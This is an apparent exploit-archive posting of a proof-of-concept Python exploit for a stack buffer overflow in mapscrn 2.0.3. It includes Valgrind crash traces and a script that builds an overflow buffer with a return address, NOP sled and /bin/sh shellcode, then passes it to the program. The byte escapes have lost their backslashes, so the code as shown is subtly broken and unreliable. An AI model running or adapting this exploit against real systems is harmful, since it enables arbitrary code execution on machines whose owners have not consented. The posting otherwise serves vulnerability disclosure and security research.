Mapscrn 2.0.3 Buffer Overflow
Posted on 13 June 2017
# Developed using Exploit Pack - http://exploitpack.com - <jsacco@exploitpack.com> # Tested on: GNU/Linux - Kali 2017.1 Release # # Description: Mapscrn ( Part of setfont ) 2.0.3 # The mapscrn command loads a user defined output character mapping table into the console driver. # The console driver may be later put into use user-defined mapping table mode by outputting a special # escape sequence to the console device. # # An attacker could exploit this vulnerability to execute arbitrary code in the # context of the application. Failed exploit attempts will result in a # denial-of-service condition. # # Architecture: all # # Vendor homepage: http://ccross.msk.su # # Source and destination overlap in strcpy(0xbe95fc4c, 0xbe9610df) # at 0x4831518: strcpy (vg_replace_strmem.c:506) # by 0x10A71F: ??? (in /usr/bin/mapscrn) # by 0x10933B: ??? (in /usr/bin/mapscrn) # by 0x41414140: ??? # # Invalid read of size 2 # at 0x488DFCA: getenv (getenv.c:84) # by 0x48867AE: guess_category_value (dcigettext.c:1587) # by 0x48867AE: __dcigettext (dcigettext.c:667) # by 0x48855F5: dcgettext (dcgettext.c:47) # by 0x109733: ??? (in /usr/bin/mapscrn) # by 0x41414140: ??? # Address 0x41414141 is not stack'd, malloc'd or (recently) free'd # # Process terminating with default action of signal 11 (SIGSEGV) # Access not within mapped region at address 0x41414141 # at 0x488DFCA: getenv (getenv.c:84) # by 0x48867AE: guess_category_value (dcigettext.c:1587) # by 0x48867AE: __dcigettext (dcigettext.c:667) # by 0x48855F5: dcgettext (dcgettext.c:47) # by 0x109733: ??? (in /usr/bin/mapscrn) # by 0x41414140: ??? import os,subprocess junk = "x41" * 4880 # junk to offset nops = "x90" * 24 # nops shellcode = "x31xc0x50x68//shx68/binx89xe3x50x53x89xe1x99xb0x0bxcdx80" esp = "xe0xdfxffxbf" # Must be changed buffer = junk + esp + nops + shellcode # Craft the buffer try: print("[*] Mapscrn Stack-Based Buffer Overflow by Juan Sacco") print("[*] Please wait.. running") subprocess.call(["mapscrn", buffer]) except OSError as e: if e.errno == os.errno.ENOENT: print "Mapscrn not found!" else: print "Error executing exploit" raise
